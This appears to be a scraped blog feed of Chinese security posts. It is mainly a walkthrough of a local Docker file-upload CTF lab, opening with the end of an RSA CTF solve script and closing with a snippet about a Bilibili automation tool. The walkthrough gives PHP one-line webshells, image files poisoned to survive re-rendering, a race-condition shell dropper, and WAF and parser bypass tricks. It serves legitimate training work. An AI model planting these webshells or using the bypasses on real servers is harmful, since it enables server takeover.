    c2 = 401003748149510002818767369230254602513865159661339906800347290711690807270702301230624025422831311596632795141531720435002853738573163182312453127686259756779068482529257900103967550779067445990067902733048774414790636519587265122992946230937925359967091172504901407334687520803755214564929157748817222608867504984640435317237940989728715980606596332309938083583162432506373976839198105889860716728175207628676903581344807944755695848151190623498753010294323617338270060040423742010145259129678264662465355879341730120526032229944482388360258216424682694404263498956947130580056839592840962191604893632645585505577517647817952448510353267629549246776809657021963707309740084072731429860522801140021375078140454523473108229522456529438036963702296406101462856177037427008765522302625128434931680973911239443952409966616788095217782552153170772137807287594897681855045237814736536800205438589010668545647972935172419082314572196606656703628418159952436419223060565888253991481370307426542468001783829259332035534414470988788183383528642038979811899061182916422795902465788443785184461640800074642736248613386467596765647696764766509793194318458994279346191732415463226129676210488158303216826287374744132977258018064709541279591219801
    e1 = 321959
    e2 = 250261
    m1,g = common_m(n,c1,c2,e1,e2)
    m1 = low_e_attack(g,m1,n)
    print(n2s(m1))
    n2 = 829153922415855137264800234822397159517330834702889033537933377293887344320377111020468975059392957737449202237724182178497515850669969287557171761512943313347002707881627665997773538338624697031113180118787578098839812766590356161880633390491240275263405375614880514319024910802488825931065452764114707860207310201420715597319258880485040522551832971592910421789656655281398336391483665797851843030704262677198876702546809063670714197016598069553974073602743894202215033991282795559558580509644985355582265309273819085165244990507821708921430055578522701525123887916901778357465509369586730929688392667732886906857430517653096398002777964560127268121571049233223372798710275104635615146227690965482270801899538594859206469480776522613028131598888508457709453379574742196454867003503347438618445660900423827776062276496733498823286497376761412579384984369308185260156963156405659950843672893896087650002269874800953868406307954077672988900057904666430054296760155287271561170025767624003816826720442668295925485637633877652749338842612472516105683964067019360513619412986301224461318521372012905629559424109846511589009550745828509068711532135188012958609344134355466641890243263881890822508445307982892951553198862583429368670057993
    c3 = 159724515943626607063077852180725785535830882720862727668525327462548399711146109134244815376287134761817075519820142556357574606798840233562248755971526219627762223734393473798914901143269449212790392600105330383090174083139586064181174009077350924651070244802047181675971743583126005374180803661344948105563731243622231745397860438110568700027808240466520775159603948893458839584686022713865445974999010633338992077036339635470928309825709158252021736998333181626196852117911063143924690274341118934263954401171980866857766803251097624531349328131906037324939822709718110584612723905396082816423636920021116198893529151233844741049768382997165306708386377461537659894631638669541135139772256724755879894163220385702448163577861050255922091076291360733371557008202704744025308442559929057280944151904346146363641694256384699833066941693911888313063101709464779564216471784300409758667075242519216711038178970244130709075948085377075896223268673956328949049096893114349123857314470200317354442002350914580896785644057370606138149403529271049952702755513806243257608741081761103014849775297798769123025294190124352059867893341310583345698551198662911063194743695473937982189580136904500546179872911907699655901666991491654421172959264
    c4 = 577539997913679548128771306860581210544436789252901226997329423745523775309125445697836728285902404228772238261978792894724035857571722732772392975266650638941506233731097966088599219553016910895407298319171601788682316820727521975802034842881641332176636880671926669677709251368489592049188264858974171362799051918792714121517422464840766220636795897542591062529334135365684855298036787805819982776703613397951208027499626161971540340384357517350954755917853981444696889490414620688922414306470663625107920255478295871212500731262906706677230231273773081082937699900897018507666959617262265778895830665231960626623936539619558323350031200046331865204833002387826480300556398975518044660453862186191885052104669182124205562629260585502282489936369132703221625792917684714281278526690498041768698231671538540231217204457920089132127615505206718241082416584911313565380784068494321438301994932115301961956898936006101799945175006847294491423172988371831199816110394796146842726192613950900507852084712888550397657990358471172662866403096061418272111461743199683739447289005311734544421847876133462236161463005728810728422873087670552019575195179400831748068699257581271088746550021722434317091260496556373742562805426688588980981788900

    e3=386321
    e4=216437 
    m2,g = common_m(n2,c3,c4,e3,e4)
    m2 = gmpy2.mpz(m2)
    m1 = gmpy2.mpz(m1)
    m2 = (m2* invert(pow(m1,g,n2),n2))%n2
    m2 = low_e_attack(g,m2,n2)
    print(m2)
    print(n2s(m2))


if __name__ == '__main__':
  main()

拿到 flag

image-20201219210242314

flag 值

flag{1f0436d9442616370459454e30125201}

]]> <h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p><strong>上周六参加『 蓝帽杯 』全国大学生网络安全技能大赛线上决赛记录，先挖个坑等一手之后官方的 WP 。</strong></p> GGCTF-UPLOAD 通关记录 https://www.lintstar.top/2020/12/612c8edf.html 2020-12-04T09:35:22.000Z 2023-11-09T07:40:38.119Z 前言

在 11月打 HW 的时候，遇到了一个靶标服务器二次渲染的文件上传点，因为之前没仔细研究没能拿到权限，还是有点遗憾的。而且 Getshell 的主要两个方式就是文件上传和远程命令执行，所以正好借着这个国光的文件上传靶场来总结一下文件上传的姿势。

手册

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# PHP
1.遇到上传点传 php 失败
2.传php2,php3看下是黑名单还是白名单
3.走一遍正常逻辑传 jpg 看下上传模块是否正常，节约时间

# Jsp
1.正常流程走一遍
2.判断黑白名单
3.Asp,aSp,aaspsp
4.as
  p
  asp空格
  asp%00
  asp%0a
5.可以在这 .①a②s③p④ 这四个位置进行 fuzz ！！！很重要
6..aspx , .cer , .cdx , .asmx , ascx试一下
7.16进制编码

# Tips
要看 POST 包我们什么东西可控


# 绕waf
- 垃圾数据填充（WAF为了保证速度，可能只会检测包的前1M）
- 设置多个filename字段（早期版本安全狗缺陷）
- 更换filename字段位置（早期版本安全狗缺陷）
- 替换为GET包（部分WAF只检测POST包中的参数）
- 删除实体里面的Conten-Type字段（某些WAF检测不到该字段就直接放行）
- 删除Conten-Type中“C”后面的字符串，再加上脚本的后缀（WAF规则缺陷）
- 删除Content-Disposition字段里的空格（WAF规则缺陷）
- 修改Content-Disposition字段值的大小写（WAF规则缺陷
- Boundary后面加个空格或者其他可被正常处理的字符（WAF规则缺陷）
- Boundary边界修改为不一致（两段Boundary不一致使得waf认为这段数据是无意义的，但容器并可能并没有这么严格）
- 在文件名处换行（WAF规则缺陷）
- 使用多个Content-Disposition（在IIS的环境下，上传文件时如果存在多个Content-Disposition的话，IIS会取第一个Content-Disposition中的值作为接收参数，而如果waf只是取最后一个的话便会被绕过）
- 利用NTFS ADS特性（NTFS是Windows常用的文件系统格式。该格式支持交换数据流（Alternate Data Streams，缩写ADS）特性。该特性可以让多个文件流使用同一个文件名，便于系统管理和使用文件。这样，一个文件名可以包含一个主文件流和多个非主文件流。其中，主文件流可以以文件名直接访问，而其他文件流需要以“文件名:文件流名”进行访问。例如“Test.php::$DATA”可以直接生成Webshell“Test.php”绕过黑名单，当然若waf对filename匹配不当的话也可能会导致绕过。并且对于这类文件，普通的文件管理器只能看到主文件流，而无法看到其余的文件流，因此可以把一个或者多个文件隐藏到另外一个文件中。）
- 后缀名后加“.”（Windows特性，存储时会删除“.”）
- 超长后缀绕过后端重命名（若后端程序对上传的文件除后缀部分重命名，构造很多”.”、“-”等符号有可能不被waf拦截）
- 超长文件名（文件名使用中文、特殊符号并最大程度的拉长）
- 文件名结尾加“\”（安恒某版本云waf规则缺陷）

搭建环境

  1. 靶场 Github 地址：https://github.com/sqlsec/upload-labs-docker 下载到本地

  2. 进入项目文件夹：cd upload-labs-docker

  3. 部署运行：docker-compose up -d

  4. 准备一个一句话木马 x.php：

1
<?php eval($_REQUEST[x]);?>

GET 和 POST 请求都可以用

image-20201201145028373

一切准备就绪 ~

那就访问：http://127.0.0.1:30001/ 开始第一关吧

30001 - 30013 一个端口一关

30001 - JavaScript 绕过

image-20201201225410069

本关特征

抓不到数据包的情况下，依然提示文件类型不正确

Bypass

本关客户端 js 校验代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<script>
function checkfilesuffix()
{
    var file=document.getElementsByName('file')[0]['value'];
    if(file==""||file==null)
    {
        swal("请添加上传文件", "", "error");
        return false;
    }
    else
    {
        var whitelist=new Array(".jpg",".png",".gif",".jpeg");
        var file_suffix=file.substring(file.lastIndexOf("."));
        if(whitelist.indexOf(file_suffix) == -1)
        {
            swal("只允许上传图片类型的文件!", "", "error");
            return false;
        }
    }
}

function error(){
    swal("上传失败", "", "error");
}
</script>

调试 js

选到 whitelist 函数这行 开始调试 js：

image-20201201221714385

找到该变量 直接修改数组元素的值

右边为单点调试 左边为结束调试

image-20201201225244217

结束调试 成功上传：

image-20201201225614946

访问http://127.0.0.1:30001/upload/1.php?x=system(%27cat%20/flag%27);拿到 flag

image-20201201231229255

禁用 js

设置地址：chrome://settings/content/javascript

抓包

可以先上传通过客户端校验后缀的文件 再通过抓包修改后缀绕过：

image-20201201230942710

30002 - htaccess 解析规则绕过

htaccess 文件是 Apache 服务器中的一个配置文件，它负责相关目录下的网页配置。通过 htaccess 文件，可以帮我们实现：网页301重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

.htaccess文件最常用的功能应该就是自定义404页面了，其操作也非常简单，在.htaccess 文件中加入代码：ErrorDocument 404 /Error.html ，然后建立一个简单的html404页面并命名 Error.html即可。

image-20201201233125066

本关特征

黑名单几乎过滤了所有有问题的后缀名，除了.htaccess

Bypass

上传一个允许的后缀文件 抓包修改文件名和内容：

  • 文件名：.htaccess
  • 内容：SetHandler application/x-httpd-php

image-20201201234742067

这里的 htaccess 文件会使服务器把我们上传的其他后缀文件当成 php 文件解析

image-20201202094150774

此时服务器的目录：

image-20201201235358756

30003 - MIME 绕过

媒体类型（通常称为 Multipurpose Internet Mail Extensions 或 MIME 类型 ）是一种标准，用来表示文档、文件或字节流的性质和格式。

MIME的组成结构非常简单；由类型与子类型两个字符串中间用 ‘/‘ 分隔而组成。不允许空格存在。type 表示可以被分多个子类的独立类别。subtype 表示细分后的每个类型。

通用的结构为：

1
type/subtype

MIME类型对大小写不敏感，但是传统写法都是小写。

image-20201202093006652

本关特征

服务端校验 上传图片格式不解析 其他格式（包括 .htaccess）提示文件类型不正确

Bypass

抓包修改 Content-Type 字段：

image-20201202093507077

上传成功

image-20201202094107221

30004 - 文件头绕过

常见的文件头标志如下：

  • JPEG (jpg)，文件头：FFD8FF
  • PNG (png)，文件头：89504E47
  • GIF (gif)，文件头：47494638
  • HTML (html)，文件头：68746D6C3E
  • ZIP Archive (zip)，文件头：504B0304
  • RAR Archive (rar)，文件头：52617221
  • Adobe Acrobat (pdf)，文件头：255044462D312E
  • MS Word/Excel (xls.or.doc)，文件头：D0CF11E0

image-20201202095116809

本关特征

服务端白名单校验 只允许上传固定类型的文件 getReailFileType 函数只会校验文件前几个字节

Bypass

抓包添加文件头 GIF89a 假装自己是个 GIF 文件

image-20201202100642050

成功上传

image-20201202100521776

30005 - 双写绕过

关键代码：

image-20201202101224260

本关特征

上传 php 文件后修改 MIME 类型伪造文件头成功上传

但是上传的结果是这个样子：

image-20201202101409738

上传的 php 文件后缀被替换了 导致服务器不解析

回过头来看正是这行代码造成的：

1
$name = str_ireplace($blacklist,"",$name);

image-20201202101822568

看到『 忽略大小写版本 』：无法通过大小写绕过

Bypass

抓包双写为 pphphp 后缀

image-20201202103716028

成功上传

image-20201202103802562

30006 - 大小写绕过

本关函数使用了 str_replace

image-20201202104247797

本关特征

同样的黑名单替换且 Windows 环境特性是不区分大小写

Bypass

抓包修改后缀 Php

image-20201202104653974

成功上传

image-20201202104630562

30007 - GET 型 %00 截断绕过

%00 截断：PHP 内核是由 C 语言实现的，所以使用了 C 语言中的一些字符串处理函数。比如在连接字符串时候， 0 字节 (\x00) 将作为字符串结束符。所以在这个地方，攻击者只要在最后加入一个 0 字节，就能截断 file 变量之后的字符串。

%00 截断适用条件

  • magic_quotes_gpc = Off
  • PHP 版本小于 5.3.4

image-20201202105647786

本关特征

  • 只允许上传 jpg jpeg png gif 类型的文件

  • 观察上图 路径信息是以 GET 方式传递到服务端的 默认会进行一次 URL 编码

  • 而 %00 解码后就是空字节

Bypass

上传 x.php 抓包修改后缀和 MIME 类型 同时在上传路径添加 new.php 并使用 %00 截断

image-20201202111626099

成功绕过：

image-20201202111657435

原理是 %00 起到截断的作用，最终会在 upload 目录下面生成 new.php

image-20201202111905283

顺便读一下 flag：

image-20201202112004049

30008 - POST 型 %00 截断绕过

题目同上

本关特征

抓包发现路径信息是以 POST 方式传递到服务端的

Bypass

抓包通过 %00 截断

image-20201202154337615

因为不是 GET 型 所以需要手动 URL 解码

image-20201202160756857

这里解码后虽然看起来没有东西 但是如果不存在 %00 URL 解码后的空字节的话无法绕过成功上传

上传成功：

image-20201202161038805

30009 - 黑名单绕过

image-20201202162201276

本关特征

黑名单限制了不可上传的文件类型

image-20201202162120435

Bypass

抓包改后缀为 phtml 即可上传成功：

image-20201202162545430

题目中提示的这些冷门后缀均可以绕过：phtml pht php3 php3p php4 php5

或者 BP 改包：

p

hp

或者后缀加 00% 或者 %0a(换行) 或者空格

尝试能否在 ①.②p③h④p⑤ 这五个位置进行 fuzz

30010 - 条件竞争绕过

image-20201202163652956

本关特征

还是同样的白名单服务端校验：

image-20201202164643117

  1. 先通过 move_uploaded_file() 将文件上传至服务器中
  2. 上传完毕后通过 in_array($ext,$whitelist) 检查文件名后缀
  3. 如果后缀名合法，则对文件进行 rename 重命名，上传完成
  4. 如果后缀名非法，则 unlink 删除文件

因此可以通过条件竞争的方式在unlink之前，访问 shell.php

Bypass

竞争马 shell.php：

1
<?php fputs(fopen('x.php','w'),'<?php eval($_REQUEST[x])?>');?>

抓包发送到 Intruder 使用 Null 空值无限爆破：

image-20201202202424416

然后抓取访问 shell.php 的数据包：

1
2
3
4
5
6
7
8
9
10
11
12
GET /upload/shell.php HTTP/1.1
Host: 127.0.0.1:30010
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

也使用 Null 空值爆破：

image-20201202214004036

这里空值爆破的时候一定要把 Positions 中的变量 clear 掉

上传成功：

image-20201202214049619

进容器中验证一下：

image-20201202214239520

1
2
3
4
# 查看当前容器
docker ps -a
# 进入容器
docker exec -it a92 /bin/bash

30011 - 二次渲染绕过

image-20201203094540032

本关特征

  • 服务端对上传的图片做了二次渲染

  • 可以远程文件包含逃避渲染上传后的图片

image-20201204103634619

Bypass

分别使用 GIF、PNG、JPG 来尝试绕过：

GIF

上传一张 cute.gif

image-20201204123541539

下载渲染后的 /upload/1616623862.gif

使用 010Editor 打开渲染前后的两张 GIF，在没有发生变化的数据库部分插入 Webshell

image-20201204104650657

对比发现文件头后到箭头上方的内容是一样的：

image-20201204104925737

插入一句话 <?php eval($_REQUEST[1]);?>

image-20201204123346127

上传后下载渲染后的 GIF 查看payload 是否还在：

image-20201204125325338

利用文件包含上传的图马：http://127.0.0.1:30011/?file=./upload/655485171.gif

image-20201204125757996

读 Flag：http://127.0.0.1:30011/?file=./upload/655485171.gif&1=system(%27cat%20/f*%27);

/表示根目录的文件或文件夹

./ 表示当前目录的文件或文件夹 「 等于不加 / 」

../表示父级目录的文件或文件夹

image-20201204130556897

PNG

PNG 二次渲染后除了文件头，其他部分全部不一致

写入 PLTE 数据块

WooYun 乌云 - php imagecreatefrom* 系列函数之 png

修改索引图像插入 PHP 代码的脚本项目地址为：Github - poc_png.py

因为只有索引图像才能将 payload 成功插入到 PLTE 数据块中

所以准备一张索引颜色的 love.png：

image-20201204134048514

使用上面的脚本生成 love_shell.png

1
2
3
4
5
6
7
8
python png_shell.py -p '<?php eval($_REQUEST[1]);?>' -o love_shell.png love.png

hexdump -C love_shell.png | head -5
00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 01 68 00 00 01 68  08 03 00 00 00 4d 3b 91  |...h...h.....M;.|
00000020  e7 00 00 03 00 50 4c 54  45 3c 3f 70 68 70 20 65  |.....PLTE<?php e|
00000030  76 61 6c 28 24 5f 52 45  51 55 45 53 54 5b 31 5d  |val($_REQUEST[1]|
00000040  29 3b 3f 3e ff ff fe ff  ff fe ff ff ff ff ff ff  |);?>............|

上传进行二次渲染得到 1914602453.png

使用脚本再次生成 love_shell1.png

1
2
3
4
5
6
7
8
python png_shell.py -p '<?php eval($_REQUEST[1]);?>' -o love_shell1.png 1914602453.png

hexdump -C love_shell1.png | head -5
00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 01 68 00 00 01 68  08 03 00 00 00 4d 3b 91  |...h...h.....M;.|
00000020  e7 00 00 01 f5 50 4c 54  45 3c 3f 70 68 70 20 65  |.....PLTE<?php e|
00000030  76 61 6c 28 24 5f 52 45  51 55 45 53 54 5b 31 5d  |val($_REQUEST[1]|
00000040  29 3b 3f 3e fc fb fb fd  fc fd fa fa fa fb fa fa  |);?>............|

再次上传得到 1997665874.png

image-20201204140855280

读取 Flag：http://127.0.0.1:30011/?file=upload/1997665874.png&1=system(%27cat%20/f*%27);

image-20201204141029867

这里一共需要使用脚本制作两次：

image-20201204140928170

写入IDAT数据块

新建一个 IDAT.php：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./shell.png');
?>

命令行 php IDAT.php 生成 shell.png 

1
2
3
4
5
6
7
8
9
10
11
12
13
hexdump -C shell.png
00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 00 20 00 00 00 20  08 02 00 00 00 fc 18 ed  |... ... ........|
00000020  a3 00 00 00 09 70 48 59  73 00 00 0e c4 00 00 0e  |.....pHYs.......|
00000030  c4 01 95 2b 0e 1b 00 00  00 60 49 44 41 54 48 89  |...+.....`IDATH.|
00000040  63 5c 3c 3f 3d 24 5f 47  45 54 5b 30 5d 28 24 5f  |c\<?=$_GET[0]($_|
00000050  50 4f 53 54 5b 31 5d 29  3b 3f 3e 58 80 81 81 c1  |POST[1]);?>X....|
00000060  73 5e 37 93 fc 8f 8b db  7e 5f d3 7d aa 27 f7 f1  |s^7.....~_.}.'..|
00000070  e3 c9 bf 5f ef 06 7c b2  30 30 63 d9 b9 67 fd d9  |..._..|.00c..g..|
00000080  3d 1b ce 32 8c 82 51 30  0a 46 c1 28 18 05 a3 60  |=..2..Q0.F.(...`|
00000090  14 8c 82 51 30 0a 86 0d  00 00 81 b2 1b 02 07 78  |...Q0..........x|
000000a0  0d 0c 00 00 00 00 49 45  4e 44 ae 42 60 82        |......IEND.B`.|
000000ae

image-20201204154340390

上传后下载二次渲染之后的 1800595762.png 检验一下：

1
2
3
4
5
6
7
8
9
10
11
12
13
hexdump -C 1800595762.png
00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 00 20 00 00 00 20  08 02 00 00 00 fc 18 ed  |... ... ........|
00000020  a3 00 00 00 09 70 48 59  73 00 00 0e c4 00 00 0e  |.....pHYs.......|
00000030  c4 01 95 2b 0e 1b 00 00  00 60 49 44 41 54 48 89  |...+.....`IDATH.|
00000040  63 5c 3c 3f 3d 24 5f 47  45 54 5b 30 5d 28 24 5f  |c\<?=$_GET[0]($_|
00000050  50 4f 53 54 5b 31 5d 29  3b 3f 3e 58 80 81 81 c1  |POST[1]);?>X....|
00000060  73 5e 37 93 fc 8f 8b db  7e 5f d3 7d aa 27 f7 f1  |s^7.....~_.}.'..|
00000070  e3 c9 bf 5f ef 06 7c b2  30 30 63 d9 b9 67 fd d9  |..._..|.00c..g..|
00000080  3d 1b ce 32 8c 82 51 30  0a 46 c1 28 18 05 a3 60  |=..2..Q0.F.(...`|
00000090  14 8c 82 51 30 0a 86 0d  00 00 81 b2 1b 02 07 78  |...Q0..........x|
000000a0  0d 0c 00 00 00 00 49 45  4e 44 ae 42 60 82        |......IEND.B`.|
000000ae

成功绕过：

image-20201204153736218

JPG

JPG 也需要使用脚本将数据插入到特定的数据库，而且可能会不成功，所以需要多次尝试。

项目地址：Github - lackFan/jpg_payload

  1. 先上传 sheep.jpg

  2. 下载渲染后的 518422027.jpg

  3. 使用 jpg_payload.php 脚本插入 payload 

1
2
3
4
5
6
# 修改脚本第一行的 payload：
$miniPayload = '<?php $_GET[0]($_POST[1]);?>';

# 命令行执行
php jpg_payload.php 518422027.jpg
Success!%
  1. 上传脚本处理后的 payload_518422027.jpg

image-20201204164848428

  1. 二次渲染后得到 596614187.jpg

image-20201204164736907

  1. 检查一下 payload 还在不在：

image-20201204165036283

  1. 成功执行 ls / 命令：

image-20201204163013249

注意需要被服务端 imagecreatefromjpeg 渲染后再用脚本插入 payload

30012 - move_uploaded_file 绕过

image-20201204165400409

本关特征

1
move_uploaded_file($temp_file, $img_path)

当 $img_path 可控的时候，还会忽略掉 $img_path 后面的 /. 可直接 Getshell

Bypass

保存文件名称为 x.php/.

image-20201204170251449

读一下 Flag：

image-20201204170326145

30013 - 代码审计绕过

image-20201204171421931

本关特征

核心代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功！";
                $is_upload = true;
            } else {
                $msg = "文件上传失败！";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件！";
}

首先看第一个判断：

1
2
3
4
5
$allow_type = array('image/jpeg','image/png','image/gif');

if(!in_array($_FILES['upload_file']['type'],$allow_type)){
  echo "<script>black();</script>";
}

所以必须保证我们上传的表单 MIME 类型一定要符合标准。

接着对我们提交的 sava_name 的字符串进行处理，如果不是数组的话就以 .为分隔，打散为数组：

1
2
3
4
5
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];

if (!is_array($file)) {
  $file = explode('.', strtolower($file));
}

如果是数组的话就无需打散，这里比较关键，后面再详细说，先记着。

因为打散后会校验最后的后缀：

1
2
3
4
5
6
$ext = end($file);
$allow_suffix = array('jpg','png','gif');

if (!in_array($ext, $allow_suffix)) {
  echo "<script>black();</script>";
}

如果不是合法后缀的话直接就报错了，所以我们老老实实的传入合法的字符串类型的不行的，这里的传入一个数组。比如这样的数组：

1
$file = [0=>'shell.php/', 2=>'png']

这样执行完最后的拼接文件名的代码后：

1
2
$file_name = reset($file) . '.' . $file[count($file) - 1];
$file_name = 'shell.php/' . '.' . $file[2 - 1]; = 'shell.php/'.'' = 'shell.php/.'

这样最后一步：

1
2
move_uploaded_file($temp_file, $img_path)
move_uploaded_file($temp_file, 'xx/xx/shell/php/.')

结合前面的 move_uploaded_file 函数缺陷，会忽略掉文件末尾的 /.，所以最终就可以成功将 webshell 上传。

Bypass

抓包构造数据包：

image-20201204171908967

上传成功：

image-20201204172027238

文件上传漏洞

文件上传，顾名思义就是上传文件的功能行为，之所以会被发展为危害严重的漏洞，是程序没有对访客提交的数据进行检验或者过滤不严，可以直接提交修改过的数据绕过扩展名的检验。文件上传漏洞是漏洞中最为简单猖獗的利用形式，一般只要能上传获取地址，可执行文件被解析就可以获取系统WebShell。

本质

上传文件时，如果服务端代码没有对客户端上传的文件进行严格的验证和过滤， 就容易造成可以上传任意文件的情况，包括上传脚本文件(asp、aspx、php、jsp等格式的文件)。

条件

  • 首先，上传的文件能够被 Web 容器解释执行。所以文件上传后所在的目录要是 Web 容器所覆盖到的路径。
  • 其次，用户能够从 Web 上访问这个文件。如果文件上传了，但用户无法通过 Web 访问，或者无法使得 Web容器解释这个脚本，那么也不能称之为漏洞。
  • 最后，用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容，则也可能导致攻击不成功。

危害

上传WebShell 控制整个网站，甚至控制服务器

防御方法

1、严格规范文件上传处理逻辑设计，不建议先存储后判断的方式，以免引起条件竞争类漏洞。
2、严格检查上传的文件后缀名、Content-Type、文件内容等。
3、定时修复服务器端的解析类漏洞，以及文件包含类漏洞避免漏洞组合。

ByPass 技巧

1.客户端校验绕过

  • 直接修改 js 代码或者使用抓包的方法修改请求内容绕过，可以先上传一个gif木马，通过抓包修改为 jsp/php/asp。
  • 关闭 js 尝试绕过

2.服务端绕过

  • 通过抓包来修改Http头的content-type绕过
  • 图片马：copy pic.jpg/b+shell.php/a shell.jpg

3.黑名单绕过

  • 将后缀改为php. php_ php4 phptml php空格 再上传
  • 使用%00截断：/var/www/html/upload/shell.php%00 shell.png
  • 双写绕过：上传的文件名为shell.pphphp，那么被替换之后就为shell.php

4.htaccess文件绕过

  • 先上传一个名为.htaccess的文件，内容为：AddType application/x-httpd-php .png
  • 让 png 后缀的文件当做 PHP 来解析

IIS6.0解析漏洞

  1. IIS6.0除了将ASP后缀当做ASP进行解析的同时，当文件后缀名字为.asa .cer .cdx 也会当做asp去解析，这是因为IIS6.0在应用程序扩展中默认设置了.asa .cer .cdx 都会调用 asp.dll

  2. 很多地方都会用到“;”，作用是结束，IIS6.0在这就是一个漏洞了。例如：上传a.asp;jpg，服务器就会将它作为asp去执行，但是这个文件的名称依旧是：a.asp;jpg，只是在执行的过程中，web容器解析的锅

  3. 另一种解析漏洞就是“/”，例如：命名为 a.asp/123.jpg，简单的说这相当于构建了一个新的文件夹a.asp，凡是这个里的文件都会以asp去执行（<7.5都有）

Nginx 解析漏洞

Nginx <=0.8.37

在Fast-CGI关闭的情况下，Nginx <=0.8.37 依然存在解析漏洞

在一个文件路径(/xx.jpg)后面加上.php会将 /xx.jpg.php 解析为 php 文件。

（站长评论：从 /test.jpg/x.php 演变过来的，具体可以参考：Ngnix 空字节可远程执行代码漏洞）

CGI解析漏洞

CGI简单的说，可以理解为是web服务器和独立程序之间的管家：服务器将a类型文件，交给CGI，CGI交给处理a类型文件的程序。

过程：

  1. 上传图片马，不用改变图片马的名称，假如上传1.jpg
  2. 访问图片马文件位置，比如www.aaa.com/bbb/ccc/1.jpg
  3. 在文件路径补充：“/.php”，即www.aaa.com/bbb/ccc/1.jpg/.php
  4. 访问该路径验证：www.aaa.com/bbb/ccc/1.jpg/.php=phpinfo();

原理

CGI一看是php后缀结尾，便给php程序去执行，php去找名字为“ 1.jpg”的文件夹，没找到，便去找“1.jpg”的文件，找到后执行。

漏洞本质：少了在次检测的环节。

参考资料

国光的保姆级 WriteUp：

https://github.com/sqlsec/upload-labs-docker/blob/main/WP.md

]]> <h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>在 11月打 HW 的时候，遇到了一个靶标服务器二次渲染的文件上传点，因为之前没仔细研究没能拿到权限，还是有点遗憾的。而且 Getshell Github Action 实现自动升级 Bilibili Lv6 https://www.lintstar.top/2020/11/560e14cb.html 2020-11-28T14:16:58.000Z 2023-11-09T07:40:38.119Z 前言

不知不觉已经是在B 站的第1003天了：

image-20201129004250821

B 站进入创作中心右上角可以看到自己账号多久了哦 ~

再看看我的等级：

image-20201128172350356

诶呦好惭愧 我怎么还没有成为6级大佬 🐶

恰巧今天偶然间翻到了这个：

image-20201128172108803

简介：

这是一个利用 Linux Crontab , GitHub Action 等方式实现哔哩哔哩（Bilibili）每日任务投币，点赞，分享视频，直播签到，银瓜子兑换硬币，漫画每日签到，简单配置即可每日轻松获取 65 经验值，快来和我一起成为 Lv6 吧~

这六级不是指日可待嘛

BILIBILI-HELPER

仓库地址：https://github.com/JunzhouLiu/BILIBILI-HELPER

功能列表：

  • 每天上午 9 点 10 分自动开始任务。【运行时间可自定义】
  • 哔哩哔哩漫画每日自动签到 。
  • 每日自动从热门视频中随机观看 1 个视频，分享一个视频。
  • 每日从热门视频中选取 5 个进行智能投币 【如果投币不能获得经验，默认不投币】
  • 投币支持下次一定啦，可自定义每日投币数量。【如果检测到你已经投过币了，则不会投币】
  • 大会员月底使用快到期的 B币券，给自己充电，一点也不会浪费哦，默认开启。【可配置】
  • 大会员月初 1 号自动领取每月 5 张 B币券 和福利。
